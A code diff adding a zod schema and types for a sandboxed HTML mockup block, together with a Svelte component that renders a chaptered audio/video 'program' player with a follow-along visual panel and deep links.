|
+
}
|
|
45
|
+
const variantSchema = z.object({
|
|
46
|
+
id: idSchema,
|
|
47
|
+
label: z.string().max(80).optional(),
|
|
48
|
+
device: z.enum(["phone", "tablet", "desktop"]).default("phone"),
|
|
49
|
+
html: z
|
|
50
|
+
.string()
|
|
51
|
+
.min(1, "html is required")
|
|
52
|
+
.refine((h) => utf8Bytes(h) <= MAX_VARIANT_HTML_BYTES, `html exceeds ${Math.round(MAX_VARIANT_HTML_BYTES / 1024)}KB per variant`),
|
|
53
|
+
});
|
|
54
|
+
const mockupSchemaBase = z
|
|
55
|
+
.object({
|
|
56
|
+
title: z.string().max(200).optional(),
|
|
57
|
+
intro: z.string().max(2000).optional(),
|
|
58
|
+
/** Allow scripts inside the sandboxed frame. Default false. */
|
|
59
|
+
allowScripts: z.boolean().default(false),
|
|
60
|
+
variants: z
|
|
61
|
+
.array(variantSchema)
|
|
62
|
+
.min(1, "at least one variant")
|
|
63
|
+
.max(MAX_VARIANTS),
|
|
64
|
+
})
|
|
65
|
+
.check((ctx) => {
|
|
66
|
+
const value = ctx.value;
|
|
67
|
+
const ids = new Set();
|
|
68
|
+
let total = 0;
|
|
69
|
+
value.variants.forEach((v, i) => {
|
|
70
|
+
if (ids.has(v.id)) {
|
|
71
|
+
ctx.issues.push({
|
|
72
|
+
code: "custom",
|
|
73
|
+
input: v,
|
|
74
|
+
path: ["variants", i, "id"],
|
|
75
|
+
message: `duplicate variant id "${v.id}"`,
|
|
76
|
+
});
|
|
77
|
+
}
|
|
78
|
+
ids.add(v.id);
|
|
79
|
+
total += utf8Bytes(v.html);
|
|
80
|
+
if (total > MAX_TOTAL_HTML_BYTES) {
|
|
81
|
+
ctx.issues.push({
|
|
82
|
+
code: "custom",
|
|
83
|
+
input: v,
|
|
84
|
+
path: ["variants", i, "html"],
|
|
85
|
+
message: `html exceeds the ${Math.round(MAX_TOTAL_HTML_BYTES / 1024)}KB whole-block budget`,
|
|
86
|
+
});
|
|
87
|
+
}
|
|
88
|
+
});
|
|
89
|
+
});
|
|
90
|
+
export const mockupSchema = z.preprocess(inheritBlockDevice, mockupSchemaBase);
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* mockup param types (mos-vzame) — the hand-written mirror of the zod schema
|
|
3
|
+
* in block.ts. The def annotates `schema: z.ZodType<MockupParams>`, so drift
|
|
4
|
+
* between schema and these interfaces is a compile error, and the Svelte
|
|
5
|
+
* component imports types WITHOUT importing the def module (block.ts imports
|
|
6
|
+
* the component; the edge must stay one-way).
|
|
7
|
+
*/
|
|
8
|
+
/** Display widths, device-pixel viewports, and the largest on-screen frame. */
|
|
9
|
+
export type MockupDims = {
|
|
10
|
+
w: number;
|
|
11
|
+
h: number;
|
|
12
|
+
maxFrameW: number;
|
|
13
|
+
};
|
|
14
|
+
export type MockupDevice = "phone" | "tablet" | "desktop";
|
|
15
|
+
/**
|
|
16
|
+
* Device-pixel viewport each frame renders. The frame scales the iframe down
|
|
17
|
+
* to its on-screen width (see MockupBlock.svelte), so the layout INSIDE the
|
|
18
|
+
* frame is laid out at the real device width, not the column width.
|
|
19
|
+
*/
|
|
20
|
+
export declare const MOCKUP_DIMS: Record<MockupDevice, MockupDims>;
|
|
21
|
+
export type MockupVariant = {
|
|
22
|
+
id: string;
|
|
23
|
+
label?: string | undefined;
|
|
24
|
+
/** Which device frame this variant renders in. Default "phone". */
|
|
25
|
+
device: MockupDevice;
|
|
26
|
+
/** HTML fragment or full document, rendered verbatim in the sandbox. */
|
|
27
|
+
html: string;
|
|
28
|
+
};
|
|
29
|
+
export type MockupParams = {
|
|
30
|
+
title?: string | undefined;
|
|
31
|
+
intro?: string | undefined;
|
|
32
|
+
/** Allow scripts inside the sandboxed frame. Default false. */
|
|
33
|
+
allowScripts?: boolean | undefined;
|
|
34
|
+
/** One or more mockups, rendered side by side. */
|
|
35
|
+
variants: MockupVariant[];
|
|
36
|
+
};
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* mockup param types (mos-vzame) — the hand-written mirror of the zod schema
|
|
3
|
+
* in block.ts. The def annotates `schema: z.ZodType<MockupParams>`, so drift
|
|
4
|
+
* between schema and these interfaces is a compile error, and the Svelte
|
|
5
|
+
* component imports types WITHOUT importing the def module (block.ts imports
|
|
6
|
+
* the component; the edge must stay one-way).
|
|
7
|
+
*/
|
|
8
|
+
/**
|
|
9
|
+
* Device-pixel viewport each frame renders. The frame scales the iframe down
|
|
10
|
+
* to its on-screen width (see MockupBlock.svelte), so the layout INSIDE the
|
|
11
|
+
* frame is laid out at the real device width, not the column width.
|
|
12
|
+
*/
|
|
13
|
+
export const MOCKUP_DIMS = {
|
|
14
|
+
phone: { w: 390, h: 844, maxFrameW: 320 },
|
|
15
|
+
tablet: { w: 834, h: 1112, maxFrameW: 460 },
|
|
16
|
+
desktop: { w: 1440, h: 900, maxFrameW: 760 },
|
|
17
|
+
};
|
|
@@ -0,0 +1,359 @@
|
|
|
1
|
+
<script lang="ts">
|
|
2
|
+
/**
|
|
3
|
+
* ProgramBlock — the daily newspaper/podcast surface: a brief (audio or
|
|
4
|
+
* video) whose chapter rail plays live on the right while the active
|
|
5
|
+
* chapter's visual renders between the player and the transcript.
|
|
6
|
+
*
|
|
7
|
+
* The player owns the hard parts (jatui VideoPlayer ≥0.32): the timeline
|
|
8
|
+
* band with chapter flags, the click-to-seek transcript, and the opt-in
|
|
9
|
+
* `chapterRail: 'side'` pane — active row tracking the playhead, progress
|
|
10
|
+
* fill, played checks, replay affordance, listNav keys. This block adds
|
|
11
|
+
* only what the page knows:
|
|
12
|
+
*
|
|
13
|
+
* - the visual panel in the player's `belowStage` slot: the shown
|
|
14
|
+
* chapter's nested block instance (any registered type) + its detail
|
|
15
|
+
* markdown, swapped with a keyed fade (reduced-motion safe);
|
|
16
|
+
* - FOLLOW mode (default on) tracks the active chapter as audio plays;
|
|
17
|
+
* the panel header says "Now playing". Clicking a rail row pins that
|
|
18
|
+
* chapter, and a "Back to now playing" button returns to auto;
|
|
19
|
+
* - ONE timeline: `transport="band"` puts play/pause, time, speed and
|
|
20
|
+
* volume on the band (no native control bar), and audio renders no
|
|
21
|
+
* stage at all (`kind="audio"`, jatui ≥0.33);
|
|
22
|
+
* - nested interactive state (a decision/checklist/picker visual's
|
|
23
|
+
* picks) persists through THIS block's ctx.saveState under a
|
|
24
|
+
* `visuals` map keyed by the nested block id, and seeds the nested
|
|
25
|
+
* BlockRenderer on load;
|
|
26
|
+
* - deep links: `?t=` via the player's syncUrlTime; `#chapter-<id>`
|
|
27
|
+
* seeks through the player's seekToTime() and shows the chapter.
|
|
28
|
+
*
|
|
29
|
+
* Every string renders as text or through the shared sanitized markdown
|
|
30
|
+
* renderer; media is by URL (https:// or root-relative, validated by
|
|
31
|
+
* urlSchema).
|
|
32
|
+
*/
|
|
33
|
+
import { onDestroy, onMount } from "svelte"
|
|
34
|
+
import VideoPlayer, { type VideoChapter } from "../../../components/VideoPlayer.svelte"
|
|
35
|
+
import BlockRenderer from "../../BlockRenderer.svelte"
|
|
36
|
+
import type { BlockProps, BlockState } from "../../types.js"
|
|
37
|
+
import {
|
|
38
|
+
chapterAt,
|
|
39
|
+
programSchema,
|
|
40
|
+
STATUS_DOT,
|
|
41
|
+
STATUS_LABEL,
|
|
42
|
+
toVideoChapters,
|
|
43
|
+
toVideoSegments,
|
|
44
|
+
type ProgramParams,
|
|
45
|
+
} from "./schema.js"
|
|
46
|
+
import { renderBlockMarkdown } from "../markdown/render.js"
|
|
47
|
+
import { formatClock } from "../transcript/schema.js"
|
|
48
|
+
|
|
49
|
+
/** SSR vs browser, without a SvelteKit import (jatui is host-agnostic). */
|
|
50
|
+
const browser = typeof window !== "undefined"
|
|
51
|
+
|
|
52
|
+
let { params: rawParams, ctx }: BlockProps<ProgramParams> = $props()
|
|
53
|
+
|
|
54
|
+
/** Parsed params (defaults filled); corrupt params → empty state. The host
|
|
55
|
+
* validates at publish, so this is belt-and-braces for direct mounts. */
|
|
56
|
+
const EMPTY_PARAMS: ProgramParams = {
|
|
57
|
+
media: { src: "https://example.invalid/none.mp3", type: "audio" },
|
|
58
|
+
segments: [],
|
|
59
|
+
chapters: [],
|
|
60
|
+
}
|
|
61
|
+
const parsed = $derived(programSchema.safeParse(rawParams))
|
|
62
|
+
const params = $derived(parsed.success ? parsed.data : EMPTY_PARAMS)
|
|
63
|
+
|
|
64
|
+
const playable = $derived(
|
|
65
|
+
params.segments.length > 0 && params.chapters.length > 0,
|
|
66
|
+
)
|
|
67
|
+
/** Audio renders NO stage (there is no picture): the player is the band
|
|
68
|
+
* plus its transport row. Video keeps its stage at its intrinsic ratio. */
|
|
69
|
+
const kind = $derived<"audio" | "video">(
|
|
70
|
+
params.media.type === "video" ? "video" : "audio",
|
|
71
|
+
)
|
|
72
|
+
const vSegments = $derived(toVideoSegments(params.segments))
|
|
73
|
+
const vChapters = $derived(toVideoChapters(params.chapters, params.segments))
|
|
74
|
+
/** Rail-row index → chapter: the player reports the SORTED index. */
|
|
75
|
+
const sortedChapters = $derived(
|
|
76
|
+
params.chapters.slice().sort((a, b) => a.start - b.start),
|
|
77
|
+
)
|
|
78
|
+
const hasSrc = $derived(params.media.src !== "" && playable)
|
|
79
|
+
const firstChapter = $derived(sortedChapters[0] ?? null)
|
|
80
|
+
|
|
81
|
+
const resumeKey = $derived(`artifact:${ctx.artifactId}:${ctx.blockId}`)
|
|
82
|
+
|
|
83
|
+
// ── follow / pin ─────────────────────────────────────────────────────
|
|
84
|
+
let follow = $state(true)
|
|
85
|
+
let pinnedId = $state<string | null>(null)
|
|
86
|
+
let currentTime = $state(0)
|
|
87
|
+
/** The player instance — bandState/seekToTime exports live here. */
|
|
88
|
+
let player: ReturnType<typeof VideoPlayer> | null = $state(null)
|
|
89
|
+
|
|
90
|
+
const activeChapter = $derived(chapterAt(params.chapters, currentTime))
|
|
91
|
+
/** The chapter the panel shows: the active one while following, else the pin. */
|
|
92
|
+
const shownChapter = $derived(
|
|
93
|
+
follow || !pinnedId
|
|
94
|
+
? activeChapter
|
|
95
|
+
: (params.chapters.find((c) => c.id === pinnedId) ?? activeChapter),
|
|
96
|
+
)
|
|
97
|
+
const shownId = $derived(shownChapter?.id ?? null)
|
|
98
|
+
|
|
99
|
+
/** Rail row click: pin the picked chapter (the rail itself keeps
|
|
100
|
+
* time-tracking — the pin only affects the visual panel). */
|
|
101
|
+
function selectChapter(_ch: VideoChapter, index: number) {
|
|
102
|
+
const c = sortedChapters[index]
|
|
103
|
+
if (!c) return
|
|
104
|
+
pinnedId = c.id
|
|
105
|
+
follow = false
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
function toggleFollow() {
|
|
109
|
+
if (follow) {
|
|
110
|
+
// Turning follow off pins what is on screen right now.
|
|
111
|
+
pinnedId = activeChapter?.id ?? pinnedId
|
|
112
|
+
follow = false
|
|
113
|
+
} else {
|
|
114
|
+
follow = true
|
|
115
|
+
pinnedId = null
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
// ── deep links (?t= rides the player's syncUrlTime) ─────────────────
|
|
120
|
+
function chapterFromHash(): string | null {
|
|
121
|
+
if (!location.hash.startsWith("#chapter-")) return null
|
|
122
|
+
return decodeURIComponent(location.hash.slice("#chapter-".length)) || null
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
function seekToChapterId(id: string | null): boolean {
|
|
126
|
+
if (!id) return false
|
|
127
|
+
const ch = params.chapters.find((c) => c.id === id)
|
|
128
|
+
if (!ch) return false
|
|
129
|
+
currentTime = ch.start
|
|
130
|
+
player?.seekToTime?.(ch.start)
|
|
131
|
+
return true
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
function onHashChange() {
|
|
135
|
+
seekToChapterId(chapterFromHash())
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
onMount(() => {
|
|
139
|
+
if (!browser) return
|
|
140
|
+
const hashId = chapterFromHash()
|
|
141
|
+
if (hashId) {
|
|
142
|
+
seekToChapterId(hashId)
|
|
143
|
+
} else {
|
|
144
|
+
const t = new URL(location.href).searchParams.get("t")
|
|
145
|
+
if (t != null && t !== "") {
|
|
146
|
+
const sec = Number(t)
|
|
147
|
+
if (Number.isFinite(sec) && sec >= 0) currentTime = sec
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
window.addEventListener("hashchange", onHashChange)
|
|
151
|
+
})
|
|
152
|
+
onDestroy(() => {
|
|
153
|
+
if (browser) window.removeEventListener("hashchange", onHashChange)
|
|
154
|
+
})
|
|
155
|
+
|
|
156
|
+
// ── nested visual state (picks persist through THIS block's state) ──
|
|
157
|
+
interface ProgramState extends BlockState {
|
|
158
|
+
visuals?: Record<string, BlockState>
|
|
159
|
+
}
|
|
160
|
+
let visualState = $state<Record<string, BlockState>>({})
|
|
161
|
+
// Seed once from the viewer's saved state (only when there is any). The
|
|
162
|
+
// outer renderer's state arrives as a $state proxy — snapshot before the
|
|
163
|
+
// structuredClone.
|
|
164
|
+
let seeded = false
|
|
165
|
+
$effect(() => {
|
|
166
|
+
if (seeded) return
|
|
167
|
+
const saved = (ctx.state as ProgramState | null)?.visuals
|
|
168
|
+
if (saved && typeof saved === "object") {
|
|
169
|
+
visualState = structuredClone($state.snapshot(saved))
|
|
170
|
+
seeded = true
|
|
171
|
+
}
|
|
172
|
+
})
|
|
173
|
+
|
|
174
|
+
/** The nested BlockRenderer's save hook: merge into this block's state. */
|
|
175
|
+
async function saveVisualState(payload: {
|
|
176
|
+
kind: "blocks"
|
|
177
|
+
blocks: Record<string, unknown>
|
|
178
|
+
}) {
|
|
179
|
+
visualState = { ...visualState, ...payload.blocks }
|
|
180
|
+
// Snapshot before handing it up: a $state proxy must never cross the
|
|
181
|
+
// renderer boundary (the DataCloneError class of bug — mos-yntqm); the
|
|
182
|
+
// outer renderer stores $state.snapshot of what it receives.
|
|
183
|
+
const next: ProgramState = { visuals: $state.snapshot(visualState) }
|
|
184
|
+
await ctx.saveState?.(next)
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
const nestedId = $derived(shownId ? `visual-${shownId}` : null)
|
|
188
|
+
const nestedSpec = $derived.by(() => {
|
|
189
|
+
const v = shownChapter?.visual
|
|
190
|
+
if (!v || !nestedId) return null
|
|
191
|
+
return {
|
|
192
|
+
version: 1 as const,
|
|
193
|
+
title: "",
|
|
194
|
+
blocks: [{ id: nestedId, type: v.type, params: v.params }],
|
|
195
|
+
}
|
|
196
|
+
})
|
|
197
|
+
|
|
198
|
+
/** Nested state flows through only when this surface can save at all. */
|
|
199
|
+
const nestedCanSave = $derived(!ctx.readonly && ctx.saveState != null)
|
|
200
|
+
|
|
201
|
+
const detailHtml = $derived(
|
|
202
|
+
shownChapter?.detail ? renderBlockMarkdown(shownChapter.detail) : null,
|
|
203
|
+
)
|
|
204
|
+
</script>
|
|
205
|
+
|
|
206
|
+
<section class="artifact-program w-full">
|
|
207
|
+
{#if params.title || params.note}
|
|
208
|
+
<header class="mb-3">
|
|
209
|
+
{#if params.title}
|
|
210
|
+
<h2 class="text-base font-semibold text-base-content">
|
|
211
|
+
{params.title}
|
|
212
|
+
</h2>
|
|
213
|
+
{/if}
|
|
214
|
+
{#if params.note}
|
|
215
|
+
<p class="mt-1 max-w-prose text-sm text-base-content/70">
|
|
216
|
+
{params.note}
|
|
217
|
+
</p>
|
|
218
|
+
{/if}
|
|
219
|
+
</header>
|
|
220
|
+
{/if}
|
|
221
|
+
|
|
222
|
+
{#if hasSrc}
|
|
223
|
+
<VideoPlayer
|
|
224
|
+
bind:this={player}
|
|
225
|
+
src={params.media.src}
|
|
226
|
+
{kind}
|
|
227
|
+
transport="band"
|
|
228
|
+
poster={params.media.poster || null}
|
|
229
|
+
aspect={null}
|
|
230
|
+
transcript={vSegments}
|
|
231
|
+
chapters={vChapters}
|
|
232
|
+
transcriptPosition="below"
|
|
233
|
+
transcriptMaxHeight="24rem"
|
|
234
|
+
chapterRail="side"
|
|
235
|
+
onChapterSelect={selectChapter}
|
|
236
|
+
onTimeUpdate={(v) => (currentTime = v.currentTime)}
|
|
237
|
+
syncUrlTime
|
|
238
|
+
{resumeKey}
|
|
239
|
+
belowStage={panel}
|
|
240
|
+
/>
|
|
241
|
+
|
|
242
|
+
{#snippet panel()}
|
|
243
|
+
{#if shownChapter}
|
|
244
|
+
<div
|
|
245
|
+
class="program-panel rounded-box border border-base-content/10 bg-base-100"
|
|
246
|
+
role="region"
|
|
247
|
+
aria-label="Chapter: {shownChapter.title}"
|
|
248
|
+
>
|
|
249
|
+
<header
|
|
250
|
+
class="flex flex-wrap items-center gap-x-2 gap-y-1 px-4 pt-3 pb-2"
|
|
251
|
+
>
|
|
252
|
+
{#if shownChapter.status}
|
|
253
|
+
<span
|
|
254
|
+
class="size-2 shrink-0 rounded-full {STATUS_DOT[
|
|
255
|
+
shownChapter.status
|
|
256
|
+
]}"
|
|
257
|
+
aria-hidden="true"
|
|
258
|
+
></span>
|
|
259
|
+
<span class="sr-only">{STATUS_LABEL[shownChapter.status]}:</span>
|
|
260
|
+
{/if}
|
|
261
|
+
<span class="text-xs tabular-nums text-base-content/60">
|
|
262
|
+
{formatClock(shownChapter.start)}
|
|
263
|
+
</span>
|
|
264
|
+
<h3 class="min-w-0 flex-1 text-sm font-semibold text-base-content">
|
|
265
|
+
{shownChapter.title}
|
|
266
|
+
</h3>
|
|
267
|
+
{#if follow}
|
|
268
|
+
<span
|
|
269
|
+
class="program-follow flex items-center gap-1.5 text-xs text-base-content/60"
|
|
270
|
+
>
|
|
271
|
+
<span
|
|
272
|
+
class="program-live size-1.5 rounded-full bg-primary"
|
|
273
|
+
aria-hidden="true"
|
|
274
|
+
></span>
|
|
275
|
+
Now playing
|
|
276
|
+
</span>
|
|
277
|
+
{:else}
|
|
278
|
+
<button
|
|
279
|
+
type="button"
|
|
280
|
+
class="program-follow btn btn-ghost btn-xs rounded-field text-primary"
|
|
281
|
+
onclick={toggleFollow}
|
|
282
|
+
>
|
|
283
|
+
Back to now playing
|
|
284
|
+
</button>
|
|
285
|
+
{/if}
|
|
286
|
+
</header>
|
|
287
|
+
{#if shownId}
|
|
288
|
+
{#key shownId}
|
|
289
|
+
<div class="program-panel-body px-4 pb-4">
|
|
290
|
+
{#if detailHtml}
|
|
291
|
+
<!-- Sanitized by renderBlockMarkdown — the contract's one {@html} path. -->
|
|
292
|
+
<div
|
|
293
|
+
class="program-detail prose prose-sm max-w-prose text-base-content/80"
|
|
294
|
+
>
|
|
295
|
+
{@html detailHtml}
|
|
296
|
+
</div>
|
|
297
|
+
{:else if !nestedSpec && shownChapter.summary}
|
|
298
|
+
<p class="max-w-prose text-sm text-base-content/70">
|
|
299
|
+
{shownChapter.summary}
|
|
300
|
+
</p>
|
|
301
|
+
{/if}
|
|
302
|
+
{#if nestedSpec}
|
|
303
|
+
<div class={detailHtml ? "mt-3" : ""}>
|
|
304
|
+
<BlockRenderer
|
|
305
|
+
spec={nestedSpec}
|
|
306
|
+
artifactId={ctx.artifactId}
|
|
307
|
+
version={ctx.version}
|
|
308
|
+
savedBlocks={$state.snapshot(visualState)}
|
|
309
|
+
onSaveBlock={nestedCanSave ? saveVisualState : undefined}
|
|
310
|
+
readonly={ctx.readonly}
|
|
311
|
+
data={ctx.data}
|
|
312
|
+
/>
|
|
313
|
+
</div>
|
|
314
|
+
{/if}
|
|
315
|
+
</div>
|
|
316
|
+
{/key}
|
|
317
|
+
{/if}
|
|
318
|
+
</div>
|
|
319
|
+
{:else if firstChapter}
|
|
320
|
+
<p class="px-1 text-sm text-base-content/60">
|
|
321
|
+
The first chapter, {firstChapter.title}, starts at {formatClock(
|
|
322
|
+
firstChapter.start,
|
|
323
|
+
)}.
|
|
324
|
+
</p>
|
|
325
|
+
{/if}
|
|
326
|
+
{/snippet}
|
|
327
|
+
{:else if !playable}
|
|
328
|
+
<p class="text-sm text-base-content/60">
|
|
329
|
+
No chapters published for this program block.
|
|
330
|
+
</p>
|
|
331
|
+
{/if}
|
|
332
|
+
</section>
|
|
333
|
+
|
|
334
|
+
<style>
|
|
335
|
+
/* The keyed panel swap: a short opacity/lift-in. Every state also reads
|
|
336
|
+
statically (content is simply there), so reduced motion drops the move
|
|
337
|
+
and keeps the meaning. */
|
|
338
|
+
.program-panel-body {
|
|
339
|
+
animation: program-panel-in var(--motion-fast, 150ms)
|
|
340
|
+
var(--motion-glide, ease-out);
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
@keyframes program-panel-in {
|
|
344
|
+
from {
|
|
345
|
+
opacity: 0;
|
|
346
|
+
transform: translateY(3px);
|
|
347
|
+
}
|
|
348
|
+
to {
|
|
349
|
+
opacity: 1;
|
|
350
|
+
transform: none;
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
@media (prefers-reduced-motion: reduce) {
|
|
355
|
+
.program-panel-body {
|
|
356
|
+
animation: none;
|
|
357
|
+
}
|
|
358
|
+
}
|
|
359
|
+
</style>
|